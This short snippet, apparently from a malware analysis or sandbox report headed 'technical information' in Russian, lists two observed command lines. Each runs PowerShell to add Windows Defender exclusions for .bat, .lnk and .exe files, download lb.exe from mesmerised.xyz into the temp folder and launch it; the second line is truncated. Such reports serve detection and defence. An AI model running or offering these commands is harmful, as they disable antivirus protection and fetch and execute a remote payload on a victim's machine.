Техническая информация
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Add-MpPreference -ExclusionExtension \".bat\", \".lnk\", \".exe\"; Invoke-WebRequest -Uri 'http://mesmerised.xyz/lb.exe' -OutFile '%TEMP%\lb.exe'; Start-Process '%TEMP%\lb.exe'"
- '<SYSTEM32>\cmd.exe' /c powershell -command "Add-MpPreference -ExclusionExtension \".bat\", \".lnk\", \".exe\"; Invoke-WebRequest -Uri 'http://mesmerised.xyz/lb.exe' -OutFile '%TEMP%\lb.exe'; Start-Process '%TEMP%\...